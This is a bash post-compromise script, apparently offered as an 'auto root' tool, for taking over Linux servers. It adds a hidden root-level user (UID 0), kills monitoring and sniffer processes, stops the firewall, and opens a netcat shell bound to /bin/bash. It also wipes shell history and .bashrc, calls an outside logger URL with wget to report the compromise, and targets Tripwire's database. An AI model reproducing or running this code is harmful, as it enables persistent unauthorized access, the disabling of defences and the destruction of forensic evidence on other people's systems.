#!/bin/bash # This is a auto root script, helps add users kills daemons and a few other useful things! # Want to have the server get logged on execution? Edit the 'Logger' link! # -- Edit? -- # LOGGER="http://blasze.tk/EXAMPLE" # -- Don't Touch -- # uname=`uname -n` twd=/var/lib/tripwire/$uname.twd ip=`ifconfig eth0 2>/dev/null|awk '/inet addr:/ {print $2}'|sed 's/addr://'` # -- Colors -- # RED='\033[0;31m' CYAN='\033[0;36m' LG='\033[0;37m' NO='\033[0m' GR='\033[1;32m' # -- Banner --# echo ''' +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ____ ____ ____ ____ ____ ____ ||J |||I |||H |||A |||D |||I || ||__|||__|||__|||__|||__|||__|| |/__\|/__\|/__\|/__\|/__\|/__\| Developed by: @Jihadi4Potus Twitter: https://twitter.com/Jihadi4Potus Website: http://leakedfiles.org Version: v1.1 | Updated 7/13/17 [+ Syntax sh $0 [USERNAME] [PASSWORD] +] +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ''' # -- Setting User/Pass -- # if [ $# != 2 ]; then echo "${LG}[${RED}!${LG}] ${RED}Invalid Arguments.${NO}" exit 0 fi # -- Checks if Root -- # if ! [ $(id -u) = 0 ]; then echo "${LG}[${RED}!${LG}] ${RED}Requires Root, please try agin with root!${NO}" exit 1 fi useradd -o -u 0 -g 0 -M -d /root -s /bin/bash $1 passwd $1 # -- Stopping Security/Daemons -- # echo "${RED}Stopping Services ..."; echo "${LG}Servce NSCD ${GR}Stopped!${NO}" && killall -9 -q nscd >/dev/null 2>&1 || echo "${LG}Servce NSCD ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce XNTPS ${GR}Stopped!${NO}" && killall -9 -q xntps >/dev/null 2>&1 || echo "${LG}Servce XNTPS ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce MOUNTD ${GR}Stopped!${NO}" && killall -9 -q mountd >/dev/null 2>&1 || echo "${LG}Servce MOUNTD ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce mserv ${GR}Stopped!${NO}" && killall -9 -q mserv >/dev/null 2>&1 || echo "${LG}Servce mserv ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce psybnc ${GR}Stopped!${NO}" && killall -9 -q psybnc >/dev/null 2>&1 || echo "${LG}Servce psybnc ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce t0rns ${GR}Stopped!${NO}" && killall -9 -q t0rns >/dev/null 2>&1 || echo "${LG}Servce t0rns ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce linsniffer ${GR}Stopped!${NO}" && killall -9 -q linsniffer >/dev/null 2>&1 || echo "${LG}Servce linsniffer ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce sniffer ${GR}Stopped!${NO}" && killall -9 -q sniffer >/dev/null 2>&1 || echo "${LG}Servce sniffer ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce lpsched ${GR}Stopped!${NO}" && killall -9 -q lpsched >/dev/null 2>&1 || echo "${LG}Servce lpsched ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce sniff ${GR}Stopped!${NO}" && killall -9 -q sniff >/dev/null 2>&1 || echo "${LG}Servce sniff ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce sn1f ${GR}Stopped!${NO}" && killall -9 -q sn1f >/dev/null 2>&1 || echo "${LG}Servce snif ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce xsf ${GR}Stopped!${NO}" && killall -9 -q xsf >/dev/null 2>&1 || echo "${LG}Servce xsf ${RED}Failed!${NO}"; sleep 1 echo "${LG}Servce xchk ${GR}Stopped!${NO}" && killall -9 -q xchk >/dev/null 2>&1 || echo "${LG}Servce xchk ${RED}Failed!${NO}"; sleep 1 serivce iptables stop service fw stop # -- Create Reverse Shell w/ Netcat -- # while true; do read -p "Want to open a reverse shell? [Y/n] " answer2 read -p "Please enter your disired port: ~# " port case $answer2 in [Yy]* ) yum install screen nc -y >/dev/null 2>&1 || apt-get install screen netcat -y >/dev/null 2>&1; screen -dmSL asdf nc -lvp $port -c /bin/bash >/dev/null 2>&1 || screen -dmSL asdf nc -lvp $port} -e /bin/bash >/dev/null 2>&1; sleep 1; echo "${GR}Success! ${LG}Active Shell on: ${NO}[${RED}${ip}:$port${NO}]"; rm -fr ~/.bashrc >/dev/null 2>&1; history -c >/dev/null 2>&1; wget -q -O /tmp/... ${LOGGER}; break;; [Nn]* ) echo "${LG}[${RED}!${LG}] ${RED}Exiting${NO}"; break;; * ) echo "${LG}[${RED}!${LG}] ${RED}Invalid Arguments.${NO}";; esac done sleep 2 # -- Detecting/Killing Tripwire -- # echo "${CYAN}*/ ${NO}Checking for ${GR}Tripwire ${NO}Process ${CYAN}*/${NO}" sleep 2 if [ -d /etc/tripwire ]; then echo "TripWire: ${GR}DETECTED" chattr -isa $twd else echo "TripWire: ${RED}Not Available!${NO}" exit 1 fi